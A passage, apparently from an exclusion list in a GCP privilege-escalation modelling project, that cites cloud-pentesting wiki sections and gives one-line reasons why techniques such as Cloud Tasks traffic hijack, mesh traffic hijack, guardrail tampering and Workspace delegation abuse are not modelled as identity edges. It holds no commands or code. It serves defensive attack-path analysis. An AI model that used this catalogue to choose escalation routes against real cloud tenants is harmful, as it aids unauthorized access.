VM (host-level), covered by gcp-local-privilege-escalation-ssh-pivoting.md. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloudtasksqueuescreate--cloudtasksqueuesupdate--queue-level-urioverride-silent-traffic-hijack--token-attach + technique: Queue-level uriOverride hijack + reason: Traffic redirection plus OIDC token attach; actAs is re-enforced at enqueue (no amplification), OIDC tokens are audience-bound; covered by gcp-cloudtasks-tasks-create-actas. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloudtaskstaskscreate-app-engine-target--actas-free-app-engine-app-invocation + technique: App Engine tasks without actAs + reason: Reaches the app's handlers as a trusted request; no identity is obtained. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloudtaskstasksrun-cloudtaskstaskslist + technique: Run existing tasks + reason: Replays only existing tasks' predefined requests; the source cannot choose the request. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclustersget + technique: clusters.get / getCredentials + reason: Only obtains cluster access with the caller's own RBAC; no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsgetlogs + technique: Read pod logs + reason: Pure data read. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsattach + technique: Attach to running containers + reason: Depends on a pre-existing process accepting stdin; not a general identity edge. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsportforward + technique: Port-forward to pods + reason: Network pivot with no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsproxy--containerservicesproxy + technique: Proxy to pods/services + reason: Network pivot with no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclustersupdate--access-control--security-config-tamper + technique: clusters.update security tamper + reason: Guardrail/network weakening (authorized networks, BinAuthz, metadata mode); no new identity by itself. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#gkehubgatewaygeneratecredentials--kubectl-via-connect-gateway-no-network-path + technique: Connect Gateway credentials + reason: Network reach only; in-cluster power is the caller's own RBAC. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#gkehub--fleet--connect-gateway + technique: Fleet section intro + reason: Section heading; techniques modelled under their own anchors. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifact-registry + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md#batch + technique: Section intro + reason: Introductory heading; technique modelled as gcp-batch-jobs-create-actas. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquery + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#cloud-deploy + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#container-breakout-via-docker-socket-container---vm---project + technique: Docker socket breakout + reason: Local escalation inside an already-accessible workstation; the VM identity is the config SA already covered by the workstation entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataplex-privesc.md#dataplex + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-infra-manager-privesc.md#infrastructure-manager + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-integration-connectors-privesc.md#integration-connectors + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#secure-source-manager + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#branch-protection--pr-review-bypass--slip-code-past-review + technique: Branch protection / PR review bypass + reason: Guardrail bypass enabling gcp-securesourcemanager-push-cicd; no identity by itself. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md#source-repositories + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apigee-privesc.md#apigee + technique: Section intro + reason: Introductory heading (runtime Message Processor SSRF pivot is documented on another page). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#vertex-ai + technique: Section intro + reason: Introductory heading (Agent Engine post-exploitation is documented elsewhere). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apigee-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md#app-engine + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#cloud-scheduler + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloud-tasks + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#composer + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#compute + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#container + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md#dataflow + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataplex-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataproc + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#steps-to-exploit + technique: Exploitation steps sub-section + reason: Steps for the job-submit technique; covered by the dataproc entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-infra-manager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-integration-connectors-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#os-config + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#cloud-run + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storage + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflows + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iam + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#introduction-to-gcp-privilege-escalation + technique: Introduction + reason: Introductory text; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#permissions-for-privilege-escalation-methodology + technique: Methodology + reason: Methodology overview; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#bypassing-access-scopes + technique: Bypassing access scopes + reason: Uses already-held credentials/tokens of the same SA; not a new identity edge (scope limits are not modelled as identity). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#abusing-gcp-to-escalate-privileges-locally + technique: Local escalation pointer + reason: Pointer to the local privilege escalation page (excluded there). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#privilege-escalation-techniques + technique: Techniques index + reason: Index of the service pages; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#access-context-manager-accesscontextmanagergoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanageraccesslevelsupdate--loosen-context-aware-access + technique: Loosen access levels + reason: Guardrail tamper (context-aware access); no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#recon--map-the-orgs-entire-exfil-posture-read-only + technique: Recon + reason: Read-only enumeration. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-analytics-hub-privesc.md#analytics-hub + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-analytics-hub-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md#api-keys + technique: Page intro; standard API key create / list / getKeyString / restriction update (Rhino CreateAPIKey, ViewExistingAPIKeys) + reason: A standard API key identifies a consumer project for quota and billing and does not authenticate an IAM principal (page intro at 171e422); only service-account-bound + authorization keys are an identity edge (gcp-apikeys-authorization-key-bound-sa). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtable + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-billing-privesc.md#cloud-billing + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-billing-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#certificate-authority-service-cas + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-database-migration-privesc.md#database-migration-service-datamigrationgoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-database-migration-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#datastream-datastreamgoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#datastreamconnectionprofilescreate--datastreamstreamscreate--full-database-copy-out-confused-deputy + technique: Stream database copy-out + reason: Data exfiltration (confused deputy); no identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#firebase + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#identity-aware-proxy-iap + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#iaptunnelinstancesaccessviaiap--ssh--tunnel-to-internal-only-vms + technique: IAP tunnel access + reason: Network access path; logging in still requires OS Login/SSH key techniques (modelled in compute). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#iapweb-resources + technique: IAP web resources + reason: Grants web access to an app; app access is not a GCP identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#iapwebupdatesettings--weaken-iap-enforcement-settings-tamper + technique: IAP settings tamper + reason: Guardrail tamper. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#kms + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#cloudkmscryptokeyversionsusetodecrypt + technique: Decrypt + reason: Data read. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#cloudkmscryptokeyversionsusetodecryptviadelegation + technique: Decrypt via delegation + reason: Data read. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#setting-up-for-delegation + technique: Delegation setup + reason: Setup for the decrypt-via-delegation data read. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#autokey-confused-deputy-cloudkmsautokeyconfigsupdate--cloudkmskeyhandlescreate + technique: Autokey confused deputy + reason: Key-material control / data access; no identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#ekm-connection-hijack-attacker-ekm--mitm-of-external-key-material-cloudkmsekmconnectionsupdate + technique: EKM connection hijack + reason: MITM of key material; data access / DoS, no identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#read-the-scripts + technique: Read VM scripts + reason: Credential discovery inside a VM; data read. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#custom-metadata + technique: Custom metadata secrets + reason: Data read of metadata values. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#abusing-iam-permissions + technique: Abusing the attached SA's IAM permissions + reason: Pointer; the permission-based paths are modelled in compute/osconfig/iam entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#search-for-keys-in-the-filesystem + technique: Search keys on filesystem + reason: Credential discovery on disk; data read. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#more-api-key-regexes + technique: API key regexes + reason: Credential discovery heuristics; data read. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md#initial-state + technique: Initial state + reason: Scenario description; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md#attack-explanation + technique: Metadata response injection + reason: Network-position attack (TCP injection against the metadata server from a host-network container); no IAM permission precondition, not representable as + a permission edge. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md#escape-technique + technique: Escape technique + reason: Network attack details; see above. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#network-security-networksecuritygoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#network-services-networkservicesgoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#networkserviceshttproutescreate--networkserviceshttproutesupdate--mesh-traffic-hijack + technique: Mesh traffic hijack + reason: Network pivot / traffic interception; no identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#networkservicesendpointpoliciescreate--update--strip-mtls--loosen-authz-on-victim-sidecars + technique: Strip mTLS on sidecars + reason: Network guardrail tamper. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#meshconfigprojectsinit--mesh-control-plane-bootstrap-persistence + technique: Mesh bootstrap + reason: Persistence. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#roles + technique: Roles + reason: Role listing; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#orgpolicy + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#orgpolicycustomconstraintscreate--update--author-org-wide-custom-constraints-org-scope + technique: Custom constraints + reason: Guardrail tamper / DoS. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-parallelstore-privesc.md#parallelstore-parallelstoregoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-parallelstore-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md#pubsub + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-runtimeconfig-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#secretmanager + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#servicemanagement + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#servicemanagementservicesupdate--config-rollout-authentication-injection + technique: Endpoints auth injection + reason: Application-level authentication tamper; not a GCP IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spanner + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#from-gcp-to-gws + technique: Section intro + reason: Heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#domain-wide-delegation-basics + technique: DWD basics + reason: Background; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#create-a-new-delegation-persistence + technique: Create a new delegation + reason: Persistence (requires Workspace super admin). +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#cross-organizational-delegation + technique: Cross-organization delegation + reason: Persistence variant of delegation creation. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#delepwn + technique: DelePwn tool + reason: Tooling for DWD abuse; covered by gcp-workspace-dwd-key-create / gcp-workspace-dwd-keyless-signjwt. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#delefriend + technique: DeleFriend tool + reason: Tooling for DWD abuse; covered by the DWD entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#gcp-generate-delegation-token + technique: Delegation token tool + reason: Tooling for DWD abuse; covered by the DWD entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#gitlabs-python-script + technique: GitLab script + reason: Tooling for DWD abuse; covered by the DWD entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#direct-service-account-workspace-resources-without-dwd + technique: SA-owned Workspace resources without DWD + reason: The SA uses only resources shared with itself; no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#agent-identity-auth-manager-credentials + technique: Agent Identity pointer + reason: Pointer; covered by gcp-agentidentity-retrieve-credentials / gcp-agentidentity-update-token-url. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#application-integration-credential-access + technique: Application Integration pointer + reason: Pointer; covered by gcp-appintegration-runas-sa-actas. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#workspace-http-add-on-deployment-takeover + technique: Add-on takeover pointer + reason: Pointer; covered by gcp-workspace-addons-deployment-update. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#creating-a-project-to-enumerate-workspace + technique: Create project to enumerate Workspace + reason: Enumeration. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#abusing-gcloud-credentials + technique: Abusing gcloud credentials + reason: Reuses the user's own token with extra scopes; same identity. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#from-gws-to-gcp + technique: Section intro + reason: Heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md#understanding-domain-wide-delegation + technique: DWD explainer + reason: Background page; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md#domain-wide-delegation-under-the-hood + technique: DWD internals + reason: Background; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-identity-auth-manager-privesc.md#conditional-gcp-to-workspace-pivot + technique: Conditional pivot explanation + reason: Explains the conditions of the covered agentidentity entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-identity-auth-manager-privesc.md#read-only-enumeration-and-no-list-fallback + technique: Enumeration + reason: Read-only enumeration. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-identity-auth-manager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#integrationsintegrationsinvoke--invoke-a-credentialed-workflow + technique: Invoke existing integration + reason: Replays an existing workflow's fixed logic; no control over the identity's actions. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#http-connector-credential-forwarding + technique: HTTP connector credential forwarding + reason: Credential exfiltration via an authored integration; covered by gcp-appintegration-runas-sa-actas when run-as SA is used, otherwise a secret read. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#read-only-enumeration-and-no-list-fallback + technique: Enumeration + reason: Read-only enumeration. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#preconditions + technique: Preconditions + reason: Conditions of the covered gcp-workspace-addons-deployment-update entry. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#enumerate-safely + technique: Enumeration + reason: Read-only enumeration. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#authorized-lab-proof + technique: Lab proof + reason: Validation notes for the covered entry. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#osconfigpatchdeploymentscreate--osconfigpatchjobsexec + technique: OS Config patch deployment pre/post steps + reason: Duplicate edge; covered by gcp-osconfig-patchjobs-exec (any_of patchJobs.exec / patchDeployments.create). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancessetmetadata--windows-local-administrator-reset-windows-keys + technique: Windows local Administrator reset via windows-keys metadata + reason: Same permission set and reach as gcp-compute-instances-setmetadata-existing-vm (setMetadata on the VM plus actAs on its attached SA); covered by that entry. +- source: 